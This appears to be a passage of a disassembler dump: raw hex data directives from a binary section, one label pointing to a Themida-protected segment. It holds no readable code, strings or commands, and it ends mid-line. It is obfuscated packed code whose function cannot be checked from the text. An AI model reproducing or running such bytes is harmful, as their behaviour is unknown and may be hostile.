6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 5C0429C3h, 0DB92C34Bh, 95FFB2F0h dd 6450735h, 31AD9589h, 0BD830645h, 645301Dh, 4A840F02h dd 8B000000h, 45326DBDh, 0B58B6006h, 6452579h, 68E0Fh dd 0BD890000h, 6451525h, 51858B61h, 6A06452Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 7736C357h, 0F55F6C5Ah, 890000C6h, 452C6995h, 0A985C706h dd 64530h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0E4B7C350h, 3638C76Bh, 0F400E9C5h dd 9589FFFFh, 6452F55h, 0BD8BC18Bh, 6451F85h, 0D99858Dh dd 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 520B74C3h, 0CBA6660h, 1D8D8958h, 61064533h dd 11800F50h, 50000000h, 0D26ABF52h, 310F1F6Ah, 310F5250h dd 585A585Ah, 0E9240489h, 0Dh, 0E6B1B0A1h, 25238E10h, 0D0636451h dd 50006A3Fh, 8E9h, 2C403200h, 319F3A35h, 6A5B4Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C7C35747h, 86563701h dd 14E9F304h, 15000000h, 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h dd 19983A54h, 8DC242FBh, 4A25A785h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A130B393h dd 22CB81C8h, 83664342h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 850FE1C3h, 3, 90D88B66h dd 8C0F60h, 61000000h, 13E950h, 0D87E0000h, 0F0A57E35h dd 0D7EB1E9Ch, 46DB3812h, 2200E068h, 6A9055h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 820FCBC3h dd 3, 0FC2E380h, 6AD9BFh, 6AFB8Bh, 174995FFh, 0BD890645h dd 6451031h, 1345BD8Bh, 8D8D0645h, 6489D99h, 8539BF51h dd 525B1974h, 2329BD8Bh, 0FF5F0645h, 0BDBD8BD1h, 83064503h dd 450025BDh, 850F0106h, 66h, 3EC381F5h, 6A6CF80Fh, 8A0F5002h dd 8, 2860Fh, 0FA8B0000h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 31F1C350h dd 0C31C2404h, 8D9D892Dh, 0FF064531h, 45259195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 2CE9B85Ch, 0E800000Eh, 0 dd 0B1ED815Dh, 0E9064A25h, 7, 89139C53h, 6AD673A0h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 2B46C353h, 10E8A0h, 0FC2D0000h, 0EA309640h, 5C9807E8h dd 5144239Fh, 0BD8B3675h, 645026Dh, 6D858D5Fh, 6A06488Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 9D4DC356h, 0BF0F8809h, 8E950DEh, 0E3000000h dd 51E660C7h, 89063DA7h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 29F951C3h, 69C59DB1h dd 11E97B6Dh, 3A000000h, 9425FC00h, 0E5A94220h, 41C7EAC9h dd 0D20EEF58h, 35FF64h, 8B000000h, 258964FEh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h dd 3E9D2075h, 5E8D8E5h, 0E1000000h, 0D740C3C1h, 85FF5BF8h dd 64532B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0D5C35545h, 2647C710h, 62F4B281h, 5E8h, 32CD1300h dd 9D2348DAh, 6451D75h, 6AFF6A5Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9E88C355h dd 89C15E4Dh, 4524D99Dh, 0ADB5FF06h, 89064510h, 450BF1B5h dd 0E995FF06h, 0E906452Ch, 158h, 1E25B589h, 0B00645h, 0F70E6F8h dd 0B86h, 5890F00h, 66000000h, 4757C781h, 82BF71E4h, 3C2626F4h dd 2D830F61h, 89000001h, 4506899Dh, 6D9D8B06h, 0F064519h dd 9D89C8B6h, 6452A2Dh, 11E9h, 8C24F400h, 4EB7E234h, 35C66141h dd 0FF99221Ch, 6BA33E3h, 0E9000000h, 0Ah, 0D86C1DAh, 1579E43Dh dd 0C18B9D69h, 31FEB70Fh, 451D7185h, 4E8C106h, 2E1BD09h dd 820F0645h, 3, 66F0DB80h, 10E9E2F7h, 0F8000000h, 405679D7h dd 922D9960h, 262DE595h, 2B330A4Fh, 0BEF81C8h, 8B604D39h dd 68C0FD1h, 9000000h, 452CFD9Dh, 9EE906h, 0BABB0000h dd 8B07F4A8h, 47554C85h, 11BD2949h, 83064523h, 870F07C0h dd 8, 2DBD8952h, 5F064506h, 0E900C083h, 0Bh, 6ABF6A0h dd 6DF13E11h, 3B033E93h, 1D830FD0h, 0F000000h, 0C89h, 0BB666000h dd 8D8B3DCDh, 6450999h, 4AE961h, 95890000h, 6452AF9h, 0FFFF8D8Bh dd 0CF81FFFFh, 0ADA3C0Bh, 0F01E183h, 2F84h, 0BF665000h dd 835F465Eh, 0FFFFFFA5h, 89F8FEFFh, 47554C95h, 11E949h dd 720C0000h, 3A99378Ah, 343C93EBh, 6D01DDD2h, 0E939C0A3h dd 0 dd 0A78BB58Dh, 6A0649h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7C3AEC3h, 0DB80FECDh, 399D015Dh dd 6A064518h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 895A79D3h, 451505BDh, 0CE806h, 15D60000h dd 5F14ACF0h, 39C21AF2h, 0BD8BDCB2h, 6450D3Dh, 2195FF5Fh dd 29064531h, 4528F19Dh, 107BB906h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9BEA95C3h dd 0FCE18380h, 0EE9h, 58C8E100h, 3AD5E69Ch, 7795D43Fh dd 0FCF09F73h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0B6C35646h, 85895E6Eh, 6450BB5h, 0B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BAA3ABh, 8B000000h, 451FB19Dh, 65950906h, 0AD064524h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 3CEBC356h dd 65D6B860h, 0CBE6BC2h, 613793EDh, 14E9h, 0E01BD000h dd 1E6CEBBDh, 1A90C9FBh, 81665E58h, 0D1809CF2h, 0DDA8B6Bh dd 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h dd 99C35545h, 624469Fh, 20798501h, 958B0645h, 6452A01h dd 8BD98B66h, 4503D58Dh, 0D1F38006h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0B70F5818h, 8BE4B7F8h, 4504999Dh dd 15BD8306h, 64502h, 9C840Fh, 9D030000h, 64509BDh, 0B8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 601BCB85h, 9525E181h, 0D5B0559Bh, 1C8D8D61h dd 6A06454Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0D22BC357h, 0FB1CBCFAh, 68B0F67h dd 89000000h, 45064DB5h, 0AE906h, 529F0000h, 3554C198h dd 59662652h, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 2F2E91C3h, 2355BD89h, 0BD830645h dd 645095Dh, 43840F00h, 8B000004h, 451FE19Dh, 5DBD8306h dd 1064509h, 44B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 5AE966C3h, 0CD03222Eh dd 95DBD83h, 0F030645h, 3E686h, 8B666000h, 13E8C1h, 0D5080000h dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 52615A91h dd 13E9h, 0AC05D800h, 0C4B4955Bh, 0A51B3C2h, 5D898605h dd 26B7CA75h, 6A605Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 80D3D7C3h, 6AD98C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0C1E0C350h, 4B7B84Ch, 9D890DD2h, 6451F85h, 31259D89h dd 0E1800645h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 5AE042A1h, 0AE1436Fh dd 6840FC9h, 29000001h, 450955B5h, 89858B06h, 6A064505h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2B81C353h, 0B70F2545h, 758533D8h, 89064502h dd 451C99B5h, 0B5BD8B06h, 9006450Ch, 50605250h, 5A310F52h dd 61D08A58h, 0BDBF310Fh, 5A29AFF5h, 0DF8B5058h, 0FDBD8B90h dd 6A064523h, 0EE800h, 0C0740000h, 69B8FE20h, 335989BAh dd 49BA29C0h, 5BFFB70Fh, 12E18531h, 88680645h, 0BBC35686h dd 3BF8FD79h, 77240481h, 8B3CC87Dh, 45326D9Dh, 0AD95FF06h dd 6A06452Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0D203C352h, 0D5F975E2h, 1775BD89h dd 66600645h, 8961F38Bh, 48AD7785h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0AF356B82h dd 0FDB3AE4Ch, 1C7D9D8Bh, 0BEE90645h, 29000001h, 451775BDh dd 0CABB6606h, 6F858B58h, 0E90648ADh, 13h, 7DE5E5DDh, 93F45E5h dd 59C6FDDAh, 82FE842h, 0C7C8A27Ch, 1800h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0C99D8BFDh, 8B06452Eh, 48AD73B5h, 0C99D8B06h, 8B064517h dd 4503C185h, 8D9D2306h, 89064502h, 6870F06h, 81000000h dd 814CE2E7h, 89858B6Bh, 6A064505h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 64A0C352h dd 64D430C0h, 899D89C4h, 8906452Ch, 50F50446h, 0CE8h, 0D95B4000h dd 0E56423FFh, 9CE86986h, 5F97B796h, 6A243489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0A432C351h, 51BA61ADh, 44AA3CBFh, 6FB5FF5Fh, 890648ADh dd 45184985h, 4E806h, 3FF0000h, 5050001Fh, 2830Fh, 61600000h dd 24448B5Fh, 8A0F6004h, 2, 0BE666160h, 8B61C19Ah, 5E900h dd 0E6C60000h, 89B4462Fh, 0E8042444h, 11h, 0F6012497h dd 0AA3454DAh, 0F935E52Dh, 30AFE915h, 9E86Dh, 3C250000h dd 13340B46h, 8B411581h, 585F5FFAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 32C35646h, 60183D19h, 1DF18529h dd 858D0645h, 648AD77h, 0AE9h, 96D52A00h, 0D87BE5B3h, 90E4DE88h dd 9644BB50h, 6A900441h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0FE32C357h, 2EAD95FFh dd 0D98A0645h, 0A3EB8166h, 0F98B61BDh, 7EF8166h, 5D85C7FCh dd 3064509h, 8B000000h, 452B5DBDh, 77BD8306h, 648ADh, 51840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 9DC1F3C3h, 96B0695h, 8906117Eh, 452BE9B5h dd 0F8BF0F06h, 39E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 5001F5A3h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 806FABC3h dd 0CB7F3D7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0D1C35141h, 5078206Ah, 0D98B66CBh, 95DBD83h, 0F030645h dd 3D885h, 77BD8300h, 648ADh, 3CB840Fh, 0FFFC0000h, 48AD77B5h dd 9EC38106h, 0FF6CAE88h, 4510C995h, 0E9DE8B06h, 11h, 0DAF21F3Ch dd 0FF377088h, 73757CF1h, 26366B15h, 6BB58B82h, 0F0648ADh dd 680h, 4D958900h, 0C706451Eh, 1000106h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0D137B2C2h, 29F55DD0h, 451C6D8Dh, 830F5006h, 5, 2F0BC3BFh dd 24348956h, 0FE8h, 3E61C900h, 50DC7141h, 709CC2CFh, 28681EDBh dd 5BDABF0Fh, 0AD77B5FFh, 0DF800648h, 399D8BC9h, 0FF064507h dd 45095195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 15B529F2h, 8B064500h, 48AD6BB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0FCB935A5h, 20DDBD8Bh, 0BE90645h, 0DF000000h dd 702072B2h, 0AE43861Fh, 8BF5FB18h, 4514ED85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89FE295Ch, 45020D85h, 0C4868906h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 6079C355h, 0E8DAB70Fh, 0Eh, 0DFCD6E37h, 6AD11143h, 0CB507820h dd 0FE82604h, 98000000h, 41560839h, 0CF4535D9h, 71E796E1h dd 5858748Ah, 1958B61h, 6A06452Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8CBBC350h dd 4B6E2D3Dh, 89B36E85h, 4502C99Dh, 4DBD2906h, 8306450Dh dd 0B70F04C2h, 205089DFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0DEC35545h, 424068A6h, 8166E709h, 8D323CCFh dd 48C15685h, 0FE8B6606h, 0B88689h, 60510000h, 7AF0BB66h dd 11C98D09h, 5F610645h, 0D88A006Ah, 0AD77B5FFh, 0CF810648h dd 51063851h, 259195FFh, 0BD8B0645h, 645096Dh, 2109B589h dd 50500645h, 66310F52h, 585AF88Bh, 6A243489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0EDB7C355h, 83B52DFAh, 639F9C7Fh, 22F19D8Bh, 0B5FF0645h dd 648AD77h, 207D95FFh, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 2FE995C3h, 0F48F2143h dd 5E91E69h, 6F000000h, 9C3BC1E9h, 1955BD83h, 0F000645h dd 3B84h, 0EDBD8B00h, 50064532h, 89D88B66h, 6A2434h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 697E11C3h, 83A7C730h, 68F0Fh, 0BD230000h, 6452BA1h dd 0AD77B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0B209C7C3h, 0BD8BD80Ch, 645335Dh dd 2F2D95FFh, 95890645h, 64510DDh, 0AD77B5FFh, 0BD890648h dd 64509F9h, 73595FFh, 9D030645h, 6450D9Dh, 301DBD83h dd 0F020645h, 5D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0E7EDD2A4h, 8CBE252Eh dd 6E960h, 603D0000h, 0CAC985FCh, 858B61F9h, 6452F51h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 10C35646h dd 21358529h, 0C60645h, 85C7FC00h, 64530A9h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8CC35343h dd 2B8DC5B9h, 8B65DAE1h, 45192D9Dh, 0F353E906h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BB662EC3h, 0C18B93F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0EEC35747h, 0BA381C0Bh, 0F00E0000h, 0EA81h dd 0C283F000h, 0B5958914h, 83064511h, 858D14EAh, 64A347Eh dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Β%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 98589C8h, 3064522h, 0B70F3C40h, 95890650h, 6450281h dd 8950508Bh, 451CD195h, 0F80506h, 508B0000h, 89D1030Ch dd 4532DD95h, 8500306h, 2BBD9589h, 8F640645h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 715BD83h, 0F000645h, 2484h, 2985C600h, 47064518h, 9AA7D268h dd 0D5B5FFD4h, 8D064509h, 4878B685h, 6AD0FF06h, 89D0FF00h dd 45086985h, 0E8D38B06h, 8, 0CAE5601Ch, 49DC9887h, 0CF8B5258h dd 54C0815Eh, 8B00006Ch, 1AF368CBh, 0BE660000h, 0F5B16F9h dd 8Ah, 81388B00h, 86FEECC7h, 5EF8527Eh, 0ADD0C781h, 0B7BE2668h dd 812B02D2h, 50C76EEFh, 3FB9667Eh, 0D1815774h, 0BB2EF7Eh dd 0E960008Fh, 11h, 0AECEADEBh, 874F59BDh, 0D9A354C7h dd 0D857EFB7h, 0FE964h, 2CF90000h, 0CE4EBA9Ch, 40360DC9h dd 0D8494200h, 0E8836116h, 0CA8B6604h, 9E850F4Bh, 0BEFFFFFFh dd 6528DC0h, 0BB0A04EBh, 2DE97DD7h, 0A0000005h, 39009C33h dd 59A03CC5h, 0F544D869h, 10D94306h, 0DD7FEDA2h, 2CE1CFC5h dd 0CA7769B0h, 77168752h, 16B124F5h, 158BF396h, 17FFC64Ah dd 0C0AF69F6h, 0CC776ACDh, 6F5E0F4Fh, 0E37786DCh, 2FE4D2ABh dd 0CE796CBDh, 33CEC198h, 62CF036Fh, 2BFEEBEAh, 8D7C550h dd 0B811B596h, 7A6EA72Bh, 0FFB79DC1h, 0B39C1952h, 5FDE8441h dd 0BED182F6h, 0C3FD452Fh, 2AA02D4Fh, 776AA5B8h, 188950CCh dd 0B526F369h, 7F95016h, 21A3247Ah, 51F0E11Ch, 0F08B7ECBh dd 342E24AAh, 25E11B6h, 0BF1155FBh, 11B632B0h, 0AC1EC310h dd 24AA4B1Fh, 7B497472h, 5D2FD8h, 559D0000h, 0BF2E1184h dd 0D20B8F0Ch, 507E24DFh, 11B59381h, 0A5055E3h, 0D87AA89Ch dd 1C7h, 8455F500h, 2AE37710h, 6B6355B6h, 0B591AAB5h, 40CD1611h dd 619E8BC3h, 22946F9Ah, 0E940189Eh, 0BC5168F5h, 7C24967Fh dd 0FAEEBFFFh, 3C95CD41h, 0FE643ACDh, 36AA6578h, 0D7CA1F8Dh dd 0C082B02Ch, 5693DD2h, 0FEA46354h, 5509B427h, 7AD327A4h dd 9633A586h, 0FEA421D0h, 0CF0A132Dh, 69B02CE1h, 4F83CB76h dd 0B5918669h, 0FEF13A11h, 1870C643h, 0EAB05141h, 0BEE4A113h dd 9C0DF8E7h, 3BB8B9EDh, 0E9FC0C67h, 1E272176h, 7AA25A7Ch dd 8D05D8h, 55B70000h, 31751284h, 2AA9A624h, 3986022Eh dd 0D96E5CB5h, 0C6BC2C85h, 0D7432C82h, 76FF11B5h, 0B5D79946h dd 5FDC2911h, 2E1F321Fh, 0C5632D5h, 0D604CE86h, 0C5A614CFh dd 1466A6A8h, 29F0C8A2h, 0C2E2EAA0h, 9564F845h, 0F03C6227h dd 34A03655h, 0A0363D5Eh, 93D77A69h, 0F3A7BEAAh, 0D87AADE3h dd 48F9E9B0h, 4192C2h, 0C0200000h, 0D67365D2h, 67580149h dd 367A52D8h, 43D77667h, 346A198Ah, 0D6CA93DFh, 72F8792Dh dd 0A412CDD0h, 0C0477DEFh, 616F33CCh, 11B59371h, 163E4711h dd 21B55847h, 7AA86F77h, 128D8h, 0C09A0000h, 926B3FD0h dd 4859401Fh, 87D3ED37h, 33D5703Ah, 6446290Fh, 7D6A22A8h dd 0E23F0825h, 0E9994678h, 0DC2911B5h, 0BC8E567Bh, 56919436h dd 1FED8166h, 6FA39523h, 91347AE2h, 62486E20h, 0D40FF133h dd 43638DABh, 65E24610h, 0F39404D5h, 5B4E277Fh, 0FAED3CA0h dd 9CB51B4Fh, 0E417FAC6h, 13864144h, 0B225F468h, 0A6EA4717h dd 0DF5DAA15h, 0BDE19C0Fh, 0FBEA3FBCh, 6FE31248h, 1D6B5E37h dd 0FB12B4BBh, 0D7590E17h, 7E94A4B7h, 49018ED7h, 0CC922DA0h dd 12F1A92Dh, 0EA9F0DDCh, 933185B4h, 0F95C4F8Ah, 1FAE1F0Ah dd 0F82DCC92h, 6FFD7A05h, 0C098A105h, 12AFADEh, 55C80000h dd 2511284h, 0B005F8F5h, 3D3C62EFh, 0BEC2FBB9h, 0B6625718h dd 1D9AEB11h, 860F7B5Dh, 5CA90FF1h, 0A53CAF06h, 6F618CBFh dd 0C46D8CD2h, 0CD4A88AAh, 5F4E1F5Fh, 0C58877ACh, 9A259871h dd 353A9CD0h, 8D17FB8Fh, 569AF278h, 30761787h, 5BECDC01h dd 0A960F607h, 74D78B36h, 0B326E1E4h, 75D09408h, 5A15DBD7h dd 783EB442h, 0DEC04E6Eh, 4A350825h, 0FE6E149Bh, 363878h dd 5B8A0000h, 4387D76Eh, 0C99D269Ah, 4500F328h, 9250EFF1h dd 63F011B5h, 92CE913Fh, 0C24211B5h, 972E9BBBh, 934EE1C7h dd 61F211B5h, 0F18E0029h, 79E9E37Dh, 2B000000h, 9BD3625Bh dd 0F09AA925h, 98CE170Fh, 0A933CEC1h, 8CD26D60h, 0FA9912C2h dd 27E4D617h, 8B38AA03h, 0ADB030D7h, 0D0D5772Ah, 32AA215h dd 81B0F68Fh, 0FA99C4ABh, 6AF77C17h, 1197B2F2h, 0A1A0CF5Eh dd 3796C44Ah, 7CB0F486h, 0FB28955Ah, 52D82D17h, 4543B00Ch dd 0A5F90A16h, 0D40AD9CCh, 1646388Dh, 7A07F92Eh, 0D2881524h dd 144A5395h, 684E00B1h, 1C8F16D4h, 518F1D66h, 9BD3625Bh dd 0FFAC8725h, 4B6D350Fh, 17FFC6A4h, 144AD71Ch, 2DBF4ABDh dd 1C5EE9DCh, 4F615D4Dh, 17FFC6A0h, 1056D320h, 0AB356DE1h dd 9B7546B0h, 13CED705h, 0B287E5A0h, 7DE843Fh, 8039AD98h dd 88DE5BDAh, 0D08085DFh, 853B9B09h, 939D48DAh, 0CA901D66h dd 481FC0E6h, 52A3939Dh, 158841D5h, 0B427F26Ah, 19035509h dd 33000000h, 7A368616h, 811503FBh, 118455A3h, 0DD822476h dd 6511B591h, 0F6EC9A10h, 663CD3C0h, 3D611C8Fh, 8ED47364h dd 6238C537h, 32681D8Bh, 82D86D5Bh, 5509BC2Bh, 277B0CFCh dd 0FDA15A4Eh, 58545076h, 405h, 4E88300h, 5C240487h, 588468h dd 240C8900h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 56241C89h dd 6B32CEBEh, 64E68120h, 0C17C3703h, 0D6F708EEh, 78BCC681h dd 0CE812DB2h, 1FBA2239h, 4259EE81h, 81563970h, 3BFF2434h dd 81594109h, 93BFFF1h, 8B545E41h, 0C483241Ch, 44F86804h dd 0C890000h, 8438F24h, 5B2434FFh, 8B04C483h, 8953240Ch dd 4C381E3h, 83000000h, 1C8704C3h, 56E95C24h, 2AFFFB43h dd 0BE09ABAFh, 0EE917488h, 4A39F6B8h, 0FFC50306h, 8B0C63E0h dd 1E24A62Fh, 36F09B78h, 70765C21h, 0B5FD3008h, 0A5B9706Eh dd 37068F46h, 0E14BCD2Dh, 0C6F67621h, 4D73A86Ch, 211A2B45h dd 868B202h, 0D2E9E611h, 0B8B89351h, 5E5B4935h, 0C3BBCF23h dd 4E3A510h, 0DE7F7770h, 0EBBD8345h, 3A63811Ch, 0ABF9E559h dd 0C3995102h, 128A45Ah, 0E38D8D58h, 8B064A3Bh, 45096D95h dd 18D8906h, 6A06452Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 47F8C353h, 1877D4F1h dd 0C4B232BBh, 0D585C77Ah, 8064503h, 6A00005Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 24DDC356h, 4C5C3757h, 8B66E2C5h, 8A0FF8h, 0C7000000h dd 45095D85h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 17BE3A3Ch, 0FF0BE814h dd 452A29B5h, 0D7816006h, 2533B103h, 0F820Fh, 0AE90000h dd 0D0000000h, 0D398761h, 0DAF7AF26h, 95FF611Bh, 6452A11h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F4C35343h dd 0EAF94005h, 0F59D89D7h, 6A064524h, 2195FF00h, 8B064531h dd 777CEBC0h, 664AE052h, 6325A575h, 0D3F837E3h, 52FAF0B3h dd 0C1A5CA5h, 0CD759E00h, 5C390474h, 0BBAE246Eh, 0DA72BC90h dd 8F30A108h dd 0C515D8Dh, 782F5881h, 9F184229h, 75C11BCFh, 0F40DC726h dd 0AE749F17h, 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h dd 586D344Dh, 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 0C72541AAh dd 73FEFD82h, 0F83DB9D4h, 838359B9h, 556A42Dh, 61B3D25Ah dd 8D752C80h, 4A3CF78Dh, 39BD8B06h, 89064508h, 45239D9Dh dd 18D8906h, 6A06452Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0B5B0C357h, 1AC02E28h dd 85C7ED28h, 64503D5h, 6DD4h, 3478BB66h, 95D85C7h, 645h dd 95890000h, 6453109h, 2471B5FFh, 8B660645h, 1195FFD7h dd 6A06452Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0D7DCC350h, 5ADF4ECDh, 6A7398C4h dd 2195FF00h, 8B064531h, 84BEBC0h, 97842006h, 0D0E0583Ch dd 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h, 0E6758173h, 11F2349Ch dd 35AA8CF2h, 0F8FD2CC8h, 97572F9h, 0C671EB10h, 539A84C5h dd 62011884h, 4AF89873h, 39D258EEh, 9DB663A2h, 4C9AEF64h dd 0F8F334ABh, 5E89E1Fh, 0B2000000h, 0D775489Dh, 20F9BD01h dd 8A580645h, 32C081F4h, 8900005Ch, 4508C9B5h, 16E3BE06h dd 0C2810000h, 6A813E39h, 0BD0B30FFh, 64500B1h, 0CEB70F5Bh dd 721FC381h, 8B667455h, 0F2F381C8h, 0E928CAC4h, 0Ah, 0A1C89027h dd 0F4209670h, 0C381C398h, 539815DAh, 0A8C0Fh, 850F0000h dd 4, 17F4B966h, 9858953h, 8F064518h, 35A3BA00h, 0E8837F88h dd 1EE8304h, 18850Fh, 9D890000h, 6451D75h, 20E9h, 4786400h dd 634140FDh, 0A6044B5Fh, 0C88B7226h, 0FFFF87E9h, 0AFA577FFh dd 0C6E863BCh, 46FD5ADEh db 0AAh byte_591D69 db 0E8h, 6, 0 ; DATA XREF: Themida_:0053F77Co dd 50DC0000h, 709CC2CFh, 4119529h, 0F5F0645h, 883h, 2830F00h dd 60000000h, 6BC78161h, 8B000067h, 0E3EAB8F0h, 0C0814BBFh dd 0B44035C2h, 158E30BAh, 0F1F8B03h, 38Ah, 9FC18000h, 2451EB81h dd 0F381011Eh, 455EE965h, 13E8h, 0B2EF500h, 6EE9F2DCh dd 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 2D059501h, 815E0645h dd 0EF3870F3h, 89F38B67h, 0D58D8B1Fh, 8306450Ah, 84BE04EFh dd 834BA6F9h, 850F01E8h, 19h, 30E9h, 0E4B47500h, 9BB32C96h dd 0A4BAD2EBh, 925FF4B5h, 0A913BC3Fh, 51B58954h, 0E9064524h dd 0FFFFFF85h, 3B10F976h, 0B8943DFDh, 432489AFh, 1488DE04h dd 0A58D8D8Bh, 6A064A3Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 221CC351h, 2A018D89h dd 0BB660645h, 85C7C78Bh, 64503D5h, 5EA4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 33C35141h, 0C11113C4h dd 0FBD2D293h, 5E80Dh, 44260000h, 0F2DCE2Ah, 0E85EDBBFh dd 0Bh, 2DDEE3FCh, 0AFBDBC51h, 0F12C484h, 28Ch, 5B616000h dd 95D85C7h, 645h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 5D9E98C3h, 